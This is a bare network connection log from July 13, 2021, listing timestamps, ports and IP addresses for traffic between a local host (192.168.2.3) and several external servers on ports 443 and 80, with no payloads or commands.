Jul 13, 2021 14:37:21.441737890 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.441849947 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.441858053 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.445997000 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.446130991 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.446135044 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.446176052 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.452248096 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.452276945 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.452308893 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.452351093 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.460155010 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.460195065 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.460225105 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.460236073 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.460258961 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.460285902 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.460314989 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.463455915 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.463553905 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.463627100 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.467803001 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.468282938 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.468833923 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.468924046 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.567892075 CEST	49716	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.582233906 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.798718929 CEST	443	49716	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.813707113 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:21.813828945 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:21.814491987 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.044066906 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.044894934 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.044965982 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.274331093 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.274425983 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.276463032 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.306946039 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.505927086 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.537220955 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.538760900 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.538793087 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.538886070 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.538965940 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.540250063 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.540296078 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:22.771023035 CEST	443	49719	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:22.771119118 CEST	49719	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:23.553797960 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:23.780255079 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:23.780461073 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:23.781382084 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.007919073 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.007993937 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.008075953 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.235177040 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.235254049 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.235662937 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.239924908 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.465069056 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.469300032 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.470623970 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.470648050 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.473489046 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.473539114 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.473543882 CEST	49722	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:24.571713924 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.595467091 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.595602036 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.596600056 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.621768951 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.621805906 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.621834993 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.621855021 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.621874094 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.621968031 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.622010946 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.647270918 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.672090054 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.698513031 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.700515032 CEST	443	49722	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:24.754117012 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.763906956 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.764045954 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.766185045 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.792799950 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.847887993 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:24.858881950 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:24.859013081 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:25.040587902 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.063980103 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.064162970 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.065404892 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.090980053 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.091068029 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.091161966 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.091207027 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.091219902 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.091232061 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.091290951 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.115927935 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.118582964 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.143918037 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.146508932 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.209948063 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.751200914 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.762603998 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.786123037 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.787086010 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.832329035 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:25.850313902 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:25.850414038 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:26.359204054 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:26.371027946 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.382636070 CEST	443	49724	211.152.136.90	192.168.2.3
Jul 13, 2021 14:37:26.382766008 CEST	49724	443	192.168.2.3	211.152.136.90
Jul 13, 2021 14:37:26.394917965 CEST	443	49723	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.395056963 CEST	49723	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.414431095 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:26.420439959 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.421511889 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.434062958 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.434159040 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:26.434731007 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:26.439913988 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.440043926 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.441025972 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.441108942 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.444116116 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.444407940 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.450411081 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.455210924 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.455327034 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.455360889 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.455384016 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.455398083 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.455421925 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:26.455446959 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:26.462968111 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.463064909 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.463090897 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.463108063 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.463144064 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.463181019 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.463217020 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.465043068 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.465181112 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.465218067 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.465251923 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.465267897 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.465270042 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.465316057 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.475071907 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.475236893 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.475744963 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.475924015 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.477535009 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:26.480811119 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.482614994 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.484882116 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.486422062 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.490935087 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.497483015 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.498447895 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:26.498771906 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.499943972 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.499973059 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.499993086 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.500005960 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.500101089 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.500143051 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.500360012 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.501251936 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.508725882 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.511703014 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.514336109 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.514441967 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.514947891 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.523065090 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.526113033 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.532655954 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.532720089 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.532763958 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.532800913 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.532820940 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.532840014 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.532879114 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.532911062 CEST	443	49726	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.532911062 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.532938004 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.538351059 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.538389921 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.538417101 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.538441896 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.538460016 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.538485050 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.538532019 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.549896002 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.556813002 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.558002949 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.561817884 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.576947927 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.582421064 CEST	49726	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.602210045 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.602261066 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.602288008 CEST	443	49728	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.602335930 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.613617897 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.625767946 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.626594067 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.626702070 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.644967079 CEST	49728	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.649451971 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.650286913 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.674926043 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.675183058 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.675225019 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.675242901 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.675273895 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.675317049 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.675329924 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.675354004 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.675386906 CEST	443	49729	211.152.136.41	192.168.2.3
Jul 13, 2021 14:37:26.675390959 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.723023891 CEST	49729	443	192.168.2.3	211.152.136.41
Jul 13, 2021 14:37:26.918863058 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.918903112 CEST	443	49727	101.33.10.52	192.168.2.3
Jul 13, 2021 14:37:26.919070005 CEST	49727	443	192.168.2.3	101.33.10.52
Jul 13, 2021 14:37:26.919663906 CEST	443	49725	101.33.11.25	192.168.2.3
Jul 13, 2021 14:37:26.973104954 CEST	49725	443	192.168.2.3	101.33.11.25
Jul 13, 2021 14:37:34.303075075 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:34.526793957 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:34.527160883 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:34.527937889 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:34.751888037 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:34.751904964 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:34.752008915 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:34.977014065 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:34.977111101 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:34.978703976 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:34.995722055 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:34.995883942 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:35.203454971 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:35.222012043 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:35.222048044 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:35.222681046 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:35.222807884 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:35.222898960 CEST	443	49737	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:35.222994089 CEST	49737	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:36.196125031 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:36.426269054 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:36.428292990 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:36.430551052 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:36.659320116 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:36.659358978 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:36.659778118 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:36.891730070 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:36.896056890 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:36.896667957 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:36.903822899 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:37.126813889 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:37.132009029 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:37.134043932 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:37.134143114 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:37.134171009 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:37.134239912 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:37.134680033 CEST	49741	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:37.363003969 CEST	443	49741	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:43.148221970 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:43.373250961 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:43.374829054 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:43.449609995 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:43.674721003 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:43.674753904 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:43.674913883 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:43.901922941 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:43.902177095 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:43.902961016 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:43.911237001 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:43.911331892 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:44.128278017 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:44.136521101 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:44.136646986 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:44.137250900 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:44.137281895 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:44.137435913 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:44.137466908 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:44.178690910 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:44.178767920 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:44.404198885 CEST	443	49749	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:44.404297113 CEST	49749	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:45.134330034 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:45.363825083 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:45.364150047 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:45.365220070 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:45.596122980 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:45.596174002 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:45.596271992 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:45.827038050 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:45.827269077 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:45.828042030 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:45.836000919 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:46.057607889 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:46.067188978 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:46.068931103 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:46.068980932 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:46.069148064 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:46.070362091 CEST	49750	443	192.168.2.3	45.154.13.94
Jul 13, 2021 14:37:46.299825907 CEST	443	49750	45.154.13.94	192.168.2.3
Jul 13, 2021 14:37:47.409248114 CEST	49751	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:47.601249933 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.601407051 CEST	49751	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:47.601720095 CEST	49751	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:47.794959068 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.795185089 CEST	49751	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:47.987246990 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.993165016 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.993242979 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.993314028 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.993331909 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.993339062 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:47.993442059 CEST	49751	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:47.993582964 CEST	49751	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:47.994431019 CEST	49751	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:48.186428070 CEST	80	49751	47.75.19.154	192.168.2.3
Jul 13, 2021 14:37:48.837492943 CEST	49752	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:48.859344006 CEST	80	49752	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:48.859498024 CEST	49752	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:48.859837055 CEST	49752	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:48.881656885 CEST	80	49752	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:48.881781101 CEST	49752	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:48.903614044 CEST	80	49752	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:49.556098938 CEST	80	49752	47.254.186.176	192.168.2.3
